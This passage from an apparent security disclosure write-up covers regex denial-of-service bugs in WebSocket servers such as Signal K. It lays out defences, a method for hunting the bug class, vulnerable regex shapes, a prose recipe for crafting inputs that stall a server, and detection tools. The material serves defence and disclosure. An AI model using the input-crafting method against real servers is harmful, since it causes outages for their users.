Escaping metacharacters fixed the original attack but not the underlying design flaw: untrusted input was still being compiled into an unrestricted, backtracking regex. The real solutions are to constrain matching complexity, limit input size and avoid backtracking engines for untrusted patterns.

The defensive ladder

If you build real-time apps, here is the order of defences, best first.

  1. Never compile untrusted input into a regex. If a client sends a filter, topic or path, match it with glob or string logic, not new RegExp(userInput). Treat new RegExp on user input like eval.
  2. Escaping metacharacters is necessary but, on its own, provably not enough. Signal K's 2.25.0 fix was correct and still got bypassed three weeks later through the one metacharacter it could not escape, the * wildcard. If your feature rewrites a user token into a quantifier, escaping the other characters does not save you. Treat escaping as a floor, not the fix.
  3. Cap complexity, not just characters. Limit how many wildcards or quantifier-generating tokens a single input may contain, and cap total input length. Limit WebSocket message size too (ws has a maxPayload option). This is the step that would have stopped both Signal K bugs, and it is the one the escaping patch skipped.
  4. Use a non-backtracking engine for untrusted matching: node-re2 (RE2 bindings) for Node, Rust's regex, Go's regexp or .NET's RegexOptions.NonBacktracking. They physically cannot backtrack catastrophically, which makes the whole "did I escape everything?" question moot.
  5. Put a time budget on matching and run risky matches off the main thread (a worker) so one bad match cannot freeze the whole process; drop the connection on overrun.
  6. Authenticate and rate-limit before the expensive parsing, both per-connection and per-message.
  7. Monitor the event loop in production with perf_hooks.monitorEventLoopDelay() and alert on sustained lag. It is the one signal that catches the ReDoS you missed in review, and the one your WAF will never see.

A non-backtracking engine is a regex implementation that matches in a single pass without ever going back to try alternatives, so it cannot explode. perf_hooks.monitorEventLoopDelay() is a Node.js function that reports how long the event loop is being held up.

How to hunt for this yourself

This section is for someone who wants to find the same class of bug in other software. It is generalised from how the researcher found CVE-2026-39320 and how McLaughlin found the library bugs.

Step 1: map where message content meets a regex

Open the target's source and search for the two dangerous shapes. First, user input compiled into a regex:

Bash
grep -rnE "new RegExp\(|RegExp\(" src/ | grep -v node_modules

Line by line:

  1. grep is a command-line search tool.
  2. -r searches folders recursively, -n prints line numbers, -E allows extended patterns.
  3. "new RegExp\(|RegExp\(" is the search pattern: either new RegExp( or RegExp(, with the bracket escaped so it is literal. The | means "or".
  4. src/ is the folder to search.
  5. | grep -v node_modules pipes the results into a second search that removes lines containing node_modules, the folder where downloaded libraries live, so you only see the project's own code.

Trace each argument back. If any part of it comes from a WebSocket message (a subscription, a filter, a topic, a search term, a path), you have a candidate. This is the strongest finding because the attacker controls the pattern itself. Second, a static regex run against message content: grep for .test(, .match(, .replace(, .exec( and .split( where the subject is attacker-controlled, then inspect each pattern for the shapes below.

Step 2: recognise the vulnerable regex shapes

You are looking for ambiguity. Red flags, roughly worst to mildest:

  • Nested quantifiers: (X+)+, (X*)*, (X+)*, exponential. This was the Signal K case.
  • Overlapping alternation under a quantifier: (a|a)*, or (\\.|[^"])* where both branches can eat the same byte, exponential. This was websocket-extensions (CVE-2020-7662 / 7663).
  • Adjacent quantifiers over the same class: \s*\s*, .*.*, *, *, \d+\d+, quadratic. This was ws (CVE-2021-32640) and the fresh/forwarded modules.
  • A quantified group followed by something that often fails: [^=]+=, (...)+$, (...)+!. The trailing token forces the failure that triggers the backtracking.
  • User input interpolated into a pattern with no escaping: the whole game, because the attacker supplies the ambiguity.

Alternation is the | operator, meaning "this or that". When both sides of an alternation can match the same text, the engine has a choice at every character, and choices multiply.

Step 3: craft the failing input

The explosion only happens on a failed match, so build input that matches the ambiguous or quantified part for as long as possible (a long run of the relevant character class), then append one character that makes the overall match fail (the missing delimiter, the wrong trailing byte). For CVE-2026-39320 that was a long UUID-shaped string the quantifier loves, missing the trailing !. Generalise: find what the regex wants, give it a lot of that, then deny it the ending.

Step 4: prove it safely and measure it

Do not eyeball it; measure the event loop, because that is the real impact on a WebSocket server. Keep a cheap heartbeat running (an HTTP poll, or Node's own perf_hooks.monitorEventLoopDelay()), send the payload and show the heartbeat stalling. That is exactly what the PoC does, and it is far more convincing in a report than "the regex is slow." Confirm the regex locally in isolation first by timing it against increasing input lengths; a clean exponential or quadratic curve is your evidence. Then demonstrate against a local instance you control. Never test someone else's production server, because a successful ReDoS is a real outage.

Step 5: let the tools help

  • recheck (npx recheck-cli) is the best current JS/TS ReDoS checker; it returns the complexity class and an attack string.
  • CodeQL js/redos / js/polynomial-redos works well in CI; this is the query that found the Rocket.Chat ReDoS (CVE-2021-32832).
  • eslint-plugin-security (detect-unsafe-regex) gives cheap inline linting for obvious cases.
  • RegexStaticAnalysis / rxxr2 / ReScue are the academic tools for mass-scanning harvested regexes, if you want to hunt across many packages the way McLaughlin did.
  • Dependency scanners (npm audit, Snyk, Dependabot, OSV-Scanner) cover the library half. They are necessary but, as the Signal K case shows, blind to your own application code.

CI means continuous integration, an automated system that runs checks every time code changes. Linting is automatic checking of code for common mistakes. A dependency scanner checks the third-party libraries a project uses for known vulnerabilities.

Positive results to look for

  • A subscription, filter, topic or path field that reaches new RegExp() and accepts metacharacters such as (, + or |.
  • A local timing curve that doubles with each added character, or squares with input length.
  • A heartbeat that stalls or times out immediately after a single message, with one CPU core pinned.
  • A pattern that still accepts repeated wildcards after a metacharacter-escaping patch, which is the shape of the second Signal K bug.

Glossary

  • Advisory: a public notice describing a vulnerability, its impact and its fix.
  • Alternation: the | operator in a regex, meaning "this or that".
  • API: the agreed set of requests a program accepts and the answers it gives.
  • Backtracking: a regex engine's habit of trying one way to match, then going back and trying another, until it succeeds or runs out of options.
  • CI (continuous integration): an automated system that runs checks whenever code changes.
  • Context: in Signal K, the part of a subscription that says which vessel the data belongs to.
  • Core: one worker inside a CPU.
  • CPU: the chip that performs computation.
  • CVSS: a standard 0 to 10 score for the severity of a vulnerability.
  • CVE: a public identifier for a known vulnerability.
  • CWE-1333: the catalogue entry for inefficient regular expression complexity, the official name for ReDoS.
  • Denial of service (DoS): making a service unavailable to its users without stealing data or breaking in.
  • Dependency scanner: a tool that checks third-party libraries for known vulnerabilities.
  • Docker stats: a command that shows live resource use of containers.
  • Escaping: putting a backslash before a special character so it is treated literally.
  • eval(): a JavaScript function that runs a string as code.
  • Event loop: the single queue in Node.js where one thread takes turns handling messages, timers and requests.
  • Exponential growth: growth where each extra unit roughly doubles the work.
  • GHSA: a vulnerability identifier issued by GitHub's advisory database.
  • Glob: a simple wildcard pattern language, as used in file names.
  • Handshake: the opening exchange that sets up a connection.
  • HTTP: the request-and-answer style the web runs on, where each request is a separate conversation.
  • JSON: a text format for structured data using braces, colons and commas.
  • Linting: automatic checking of code for common mistakes.
  • Metacharacter: a character in a regex that means something other than itself, such as ., * or +.
  • Node.js: a platform that runs JavaScript, using a single main thread and an event loop.
  • Non-backtracking engine: a regex implementation that matches in one pass and cannot explode.
  • Path: in Signal K, the specific measurement a subscription asks for.
  • Polynomial (quadratic) growth: growth where the work rises with the square of the input length.
  • Proof of concept (PoC): a small program that demonstrates a bug really works.
  • Rate limiting: refusing to accept too many requests from one source in a short time.
  • ReDoS: regular expression denial of service, a DoS caused by making a regex take far too long.
  • Regex (regular expression): a small language for describing text patterns.
  • Server: a program that waits for requests and answers them.
  • Subscription: a standing request for updates that match a filter.
  • Supervisor: a program that watches another program and restarts it if it dies.
  • UUID: a long identifier meant to be unique, like a serial number.
  • WAF (web application firewall): a filter that inspects incoming web traffic and blocks suspicious requests.
  • WebSocket: a connection that stays open in both directions after an initial HTTP upgrade.

More by Vashu Vats

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.